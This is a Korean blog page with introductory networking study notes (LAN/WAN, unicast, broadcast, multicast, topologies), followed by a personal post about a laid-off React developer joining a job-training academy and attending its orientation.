- 신호의 증폭과 사용자 주소 기반으로 정보를 전달하는 기능을 가지고 있음

 

 


 

 

네트워크는 3가지로 분류할 수 있음

  1. 네트워크 범위
  2. LAN 기술별
  3. 데이터 전송 방식

 

 

네트워크 범위

1. LAN(Local Area Network) - 근거리 통신망

라우터 및 스위치와 같은 커넥터를 사용하여 물리적으로 서로 가까운 디바이스를 연결

개인이나 기업에 의해 소유된 네트워크

 

 

2. WAN(Wide Area Network) - 광역 네트워크

디바이스가 넓은 지역에서 통신할 수 있도록 장거리에 걸쳐 여러 LAN을 연결하는 네트워크

Service Provider가 관리하는 구간

 

 

 

 

LAN 기술별 분류

  1. Ethernet
  2. TokenRing
  3. FDDI
  4. ATM

 

 

데이터 전송 방식에 따른 분류

  1. Unicast
  2. Broadcast
  3. Multicast

 

Unicast

  • 정확한 목적지를 가지고 통신 (Source, Destination Address)
  • 1:1 통신
  • 랜카드에서 자신의 주소를 판별하고 처리
  • 자신의 주소로 발송된 정보가 아닐 경우 CPU 처리 안 함

시스템의 부하가 줄어들음
네트워크의 부하가 증가 (똑같은 데이터를 여러 번 반복해서 네트워크 전체에 보내짐) 전기는 구리만 있으면 다 보내지기 때문에

 

 

Broadcast

  • 목적지를 가지지 않고 통신 (Source Address, Broadcast Address)
  • Destination Address는 모두 1
  • 네트워크상에 있는 모든 장비가 Broadcast를 처리
  • 모든 장비가 CPU처리 – 네트워크에 연결되어 있는 장비의 성능저하

어차피 다 보낼 거면 한 번에 보낼래
데이터를 뜯어보고 내가 요청한 게 아니네 하면 버림
우편을 집에 들고 와서 뜯어서 보고 버리는 것처럼 자기 자원을 낭비하고 버림 -> 리소스 낭비

 

 

Multicast

  • 1:多 통신
  • 그룹을 지정하고 그 그룹에게만 정보를 전달
  • 멀티미디어 정보를 많이 활용
  • IP의 D Class 주소를 사용

데이터를 받을 애들을 그룹으로 묶음
데이터를 그룹에게 보냄
내 우편함에 와 있는 걸 보고 나한테 온 게 아니네 해서 집으로 안 들고 오고 그 자리에서 버림

 

 

현재는 Broadcast를 기반으로 한 Unicast 전송을 하고 있음      
최종적으로 보면 Unicast 전송을 하고 있음

 

Topology - 망 구성방식
네트워크에 연결된 컴퓨터와 케이블 및 기타 구성 요소의 배치를 뜻함

토폴로지 종류
1. 버스 토폴로지
2. 스타 토폴로지
3. 링 토폴로지
4. 트리 토폴로지
5. 메시 토폴로지

토폴로지 분류
1. 물리적 토폴로지
2. 신호 토폴로지
3. 논리적 토폴로지

※ 현재는 스타 토폴로지만 있음
기업망은 Tiered Star Topology 형태로 연결

 

 

'네트워크' 카테고리의 다른 글

2. OSI 7 Layer와 Data 전송  (1) 2024.10.20

1. 지원하게 된 계기

 

리액트 개발자로 약 2년간 근무를 하다가 회사 경영난으로 권고사직을 당했다

아임 파인 갠차나 링링 링..

 

퇴사하고 라섹도 하고 국내/해외여행을 다니며 신나게 놀았다(약간의 공부를 곁들인)

 

그러다 보니 점점 다가오는 취업의 압박.

 

인스타그램을 보다가 발견

 

 

채용연계형..?

바로 지원

 

 

 

2. 지원 과정

  1. 구글폼으로 자기소개서, 지원 동기 등등.. 작성하고 제출 
  2. zoom으로 온라인 면접 봄
  3. 인성검사 

 

지원서는 아무래도 성의 있게 작성하면 좋을 것 같고

 

온라인 면접은 면접관님 두분에 지원자 한 명으로 약 10분간 진행 (편안한 분위기)

개발을 했었다고 하니 어떤 일을 했는지를 물어보셨었다

 

인성검사는 50분 동안 450문항에 체크하면 됨

 

인성검사를 마치고

인성에 문제있는 나 자신을 되돌아보며

앞으로 착하게 살아야겠다고 다짐했다

 

 

결과는 합격

법적으로 물의를 일으킬만한 사람은 아니라 판단되었는지

다행히 인성검사에서 통과되었다

 

휴~

 

 

3.  따끈따끈한 OT후기

 

 

청년취업사관학교 성동캠퍼스는 장한평역 6번 출구 바로 앞에 있어서 너무 좋다

 

 

 

 


웰컴키트 받았다

 

한량같이 살다가 오랜만에 일찍 일어나서 몸이 삐그덕 거렸는데

커피가 있어서 너무 다행이었다

 

 

내향형 인간으로서 언제나 첫날이 가장 힘들다

어색 어색

 

 

그래도 아이스브레이킹 하고

조별로 같이 비바람을 뚫고 바짓가랑이 다 적셔가면서 점심을 먹고 오니

어색함이 많이 사라졌다

 

다들 많이 안 먹더라..

 쌀한  안남겼는뎋

 

14시 ~ 17시엔 박상선 강사님의 특강을 들었는데

Microsoft Azure, Docker, Jenkins, 쿠버네티스, CI/CD, API, OAuth 가 기억에 남는다

물론 단어만

내용은 몰라~~

 

 

 

 

 


 

느낀 점

 

개발하다가 온 사람이 꽤 많았다

다들 이것저것 시도해 보면서 열심히 사는구나

요즘 취업시장 어렵네

 

 

 

 

이만 줄임

+ Recent posts